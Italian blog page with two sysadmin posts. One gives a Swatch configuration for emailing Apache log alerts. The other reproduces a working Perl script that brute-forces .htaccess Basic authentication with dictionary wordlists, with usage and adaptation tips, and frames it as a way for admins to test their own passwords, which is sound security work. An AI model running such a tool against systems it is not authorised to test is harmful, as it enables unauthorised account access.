19/12/2011
Swatch: configurazione per il monitoraggio dei server Web
Di seguito riporto la configurazione del mio Swatch, in grado di tenere sotto controllo ciò che accade sul server Web (Apache) che attualmente ho in gestione:
ignore /nagios-plugins/
#HTTP Forbidden
watchfor /403/
echo
mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Access Forbidden
#HTTP Not Found
watchfor /404/
echo
mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Not Found
#HTTP Internal Server Error
watchfor /500/
echo
mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Internal Server Error
#HTTP OK
watchfor /200/
echo
mail addresses=vostro.indirizzo@email.it,subject=SWATCH HOME: Hit OK
Poichè sul server è presente anche nagios che ogni tanto effettua dei check sull'HTTPS, ho dovuto utilizzare la entry ignore /nagios-plugins/, evitando così di ricevere un'email ad ogni controllo.
Inoltre, sul server Web è presente l'autentica .htaccess, quindi ho messo sotto monitoraggio anche le hit andate a buon fine, in modo da poter verificare quale utente ha effettuato l'accesso alle aree riservate. Ciò è stato possibile anche grazie al fatto che sul server non vi è una grande mole di richieste. In caso contrario avrei certamente evitato una configurazione del genere, pena il rischio di beccarmi un ban sullo smarthost.
Infine, non ho ritenuto opportuno controllare gli errori HTTP 401 (Unauthorized), in quanto tale funzione è svolta egregiamente da fail2ban.
A presto.
10:32 Scritto da: nazarenolatella in SO: Linux | Link permanente | Commenti (0) | Segnala | Tag: apache, swatch, simple watchdog, https, http, nagios, .htaccess, http 401, http 200 | OKNOtizie |
Facebook
21/10/2011
Script perl per attacchi bruteforce contro l'autenticazione .htaccess
Premessa
Questo script non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l'accesso ai loro siti Web.
Script
#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###
use LWP::UserAgent;
sub usage() {
$progname = $0;
print "+--- created by nwo ---+n";
print "$progname (ip) (user) (dictionary file)n";
print "n";
exit(0);
}
sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }
open(D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $linen";
exit(0);
}
}
Lo usage dello script (come riportato nel sorgente) è il seguente:
perl htbrute.pl <ip del sito> <user> <dizionario>
Ad esempio:
perl htbrute.pl 192.168.1.1 admin italian
In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:
nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>
I dizionari disponibili per l'installazione sono i seguenti (divisi in base alla lingua):
wgerman-medical
wfinnish
wcanadian-small
wcanadian-large
wcanadian-insane
wcanadian-huge
wcanadian
wbritish-small
wbritish-large
wbritish-insane
wbritish-huge
wamerican-small
wamerican-large
wamerican-insane
wamerican-huge
wukrainian
wswiss
wswedish
wspanish
wportuguese
wpolish
wogerman
wnorwegian
wngerman
witalian
wgalician-minimos
wfrench
wfaroese
wdutch
wdanish
wcatalan
wbulgarian
wbritish
wbrazilian
wamerican
miscfiles
Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:
$req = HTTP::Request->new(GET => "http://$ip/");
in:
$req = HTTP::Request->new(GET => "https://$ip/");
Discorso simile va fatto se occorre controllare una determinata sottodirectory:
$req = HTTP::Request->new(GET => "http://$ip/nomedir");
Buon PenTest.
13:15 Scritto da: nazarenolatella in Sicurezza | Link permanente | Commenti (0) | Segnala | Tag: bruteforce, cracking, hacking, .htaccess, web, password, dictionary | OKNOtizie |
Facebook
















